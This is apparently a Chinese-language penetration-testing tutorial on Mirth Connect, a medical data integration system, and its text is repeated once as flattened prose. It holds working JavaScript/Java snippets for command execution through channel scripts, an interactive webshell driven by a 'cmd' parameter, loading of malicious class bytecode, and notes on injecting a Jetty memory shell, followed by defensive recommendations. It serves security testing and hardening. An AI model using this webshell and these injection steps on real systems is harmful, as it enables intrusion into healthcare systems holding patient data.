关于Mirth Connect的一些利用方式
字数 1270 2025-08-29 22:41:24

Mirth Connect 渗透测试与利用技术详解

1. Mirth Connect 简介

Mirth Connect 是一个开源的医疗信息集成系统,主要用于医疗行业的数据交换和转换。它具有以下特点:

  • 支持多种医疗消息标准的转换、过滤、提取和路由
  • 可管理从小型诊所到大型医疗信息交换系统的患者数据
  • 提供直观的管理界面,便于开发和管理消息通道

2. 环境搭建

  1. 从 GitHub 下载 Mirth Connect:https://github.com/nextgenhealthcare/connect/releases
  2. 安装过程简单,会自动下载所需 JDK
  3. 安装完成后,双击运行 "Mirth Connect Administrator"
  4. 在管理界面点击"启动"按钮即可运行服务

3. 命令执行漏洞利用

3.1 基本命令执行

  1. 新建一个 HTTP 监听通道
  2. 在通道设置中找到"脚本执行"功能区域
  3. 通过调用 Java 的 Runtime.exec() 方法可以实现命令执行:
    java.lang.Runtime.getRuntime().exec("calc.exe");
    
  4. 测试可成功弹出计算器,证明命令执行可行

3.2 命令回显技术

  1. Response: 设置为 Postprocessor 可以实现回显
  2. 使用 ProcessBuilder 执行命令并获取输出:
    var var2 = new java.util.Scanner(new java.lang.ProcessBuilder("cmd.exe", "/c", "whoami").start().getInputStream()).useDelimiter("\\A").next();
    return var2;
    

3.3 构建 Webshell

通过获取 HTTP 请求参数实现交互式命令执行:

try {
    var var4 = sourceMap.get("parameters");
    var var3 = var4.get("cmd");
    var isWindows = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
    var command = isWindows ? ["cmd.exe", "/c", var3] : ["/bin/sh", "-c", var3];
    var var2 = new java.util.Scanner(new java.lang.ProcessBuilder(command).start().getInputStream()).useDelimiter("\\A").next();
} catch (e) {
    return e;
}
return var2;

使用方法:访问 http://target:port?cmd=whoami 即可执行命令并回显结果

4. 内存马注入尝试

4.1 环境分析

  1. Mirth Connect 使用 Jetty 作为中间件
  2. 通过查看进程发现监听端口(10010、10086 和 18080)由同一进程启动
  3. 使用 JMX 工具生成 Jetty 内存马尝试注入

4.2 注入失败分析

  1. 手动测试 Class 加载:

    var bytes = [0xca, 0xfe, 0xba, 0xbe, ...]; // 恶意class字节码
    var clazz = new java.lang.ClassLoader().defineClass(null, bytes, 0, bytes.length);
    clazz.newInstance();
    
    • 可以成功加载并执行(如弹出计算器)
  2. ClassLoader 层级问题:

    • 各端口使用 URLClassLoader
    • Jetty 的 WebAppClassLoader 位于 URLClassLoader 之下
    • Java 父 ClassLoader 无法访问子 ClassLoader
    • 导致无法直接注入内存马

4.3 成功注入方案

使用 Java Agent 技术通过 ins.getAllLoadedClasses() 获取所有 ClassLoader:

  1. 使用 vagent 工具注入
  2. 成功部署内存马

5. 防御建议

  1. 修改默认密码,使用强密码策略
  2. 限制管理界面访问权限
  3. 定期更新 Mirth Connect 到最新版本
  4. 监控可疑的脚本修改行为
  5. 对通道脚本功能进行权限控制
  6. 使用网络隔离,限制不必要的端口访问

6. 总结

Mirth Connect 由于提供了强大的脚本功能,在配置不当或使用弱密码的情况下,攻击者可以:

  1. 通过脚本功能实现命令执行
  2. 构建交互式 Webshell
  3. 在特定条件下注入内存马

渗透测试人员应重点检查:

  • 默认/弱密码问题
  • 不必要的通道脚本权限
  • 未授权访问的管理界面
Mirth Connect 渗透测试与利用技术详解 1. Mirth Connect 简介 Mirth Connect 是一个开源的医疗信息集成系统,主要用于医疗行业的数据交换和转换。它具有以下特点: 支持多种医疗消息标准的转换、过滤、提取和路由 可管理从小型诊所到大型医疗信息交换系统的患者数据 提供直观的管理界面,便于开发和管理消息通道 2. 环境搭建 从 GitHub 下载 Mirth Connect:https://github.com/nextgenhealthcare/connect/releases 安装过程简单,会自动下载所需 JDK 安装完成后,双击运行 "Mirth Connect Administrator" 在管理界面点击"启动"按钮即可运行服务 3. 命令执行漏洞利用 3.1 基本命令执行 新建一个 HTTP 监听通道 在通道设置中找到"脚本执行"功能区域 通过调用 Java 的 Runtime.exec() 方法可以实现命令执行: 测试可成功弹出计算器,证明命令执行可行 3.2 命令回显技术 将 Response: 设置为 Postprocessor 可以实现回显 使用 ProcessBuilder 执行命令并获取输出: 3.3 构建 Webshell 通过获取 HTTP 请求参数实现交互式命令执行: 使用方法:访问 http://target:port?cmd=whoami 即可执行命令并回显结果 4. 内存马注入尝试 4.1 环境分析 Mirth Connect 使用 Jetty 作为中间件 通过查看进程发现监听端口(10010、10086 和 18080)由同一进程启动 使用 JMX 工具生成 Jetty 内存马尝试注入 4.2 注入失败分析 手动测试 Class 加载: 可以成功加载并执行(如弹出计算器) ClassLoader 层级问题: 各端口使用 URLClassLoader Jetty 的 WebAppClassLoader 位于 URLClassLoader 之下 Java 父 ClassLoader 无法访问子 ClassLoader 导致无法直接注入内存马 4.3 成功注入方案 使用 Java Agent 技术通过 ins.getAllLoadedClasses() 获取所有 ClassLoader: 使用 vagent 工具注入 成功部署内存马 5. 防御建议 修改默认密码,使用强密码策略 限制管理界面访问权限 定期更新 Mirth Connect 到最新版本 监控可疑的脚本修改行为 对通道脚本功能进行权限控制 使用网络隔离,限制不必要的端口访问 6. 总结 Mirth Connect 由于提供了强大的脚本功能,在配置不当或使用弱密码的情况下,攻击者可以: 通过脚本功能实现命令执行 构建交互式 Webshell 在特定条件下注入内存马 渗透测试人员应重点检查: 默认/弱密码问题 不必要的通道脚本权限 未授权访问的管理界面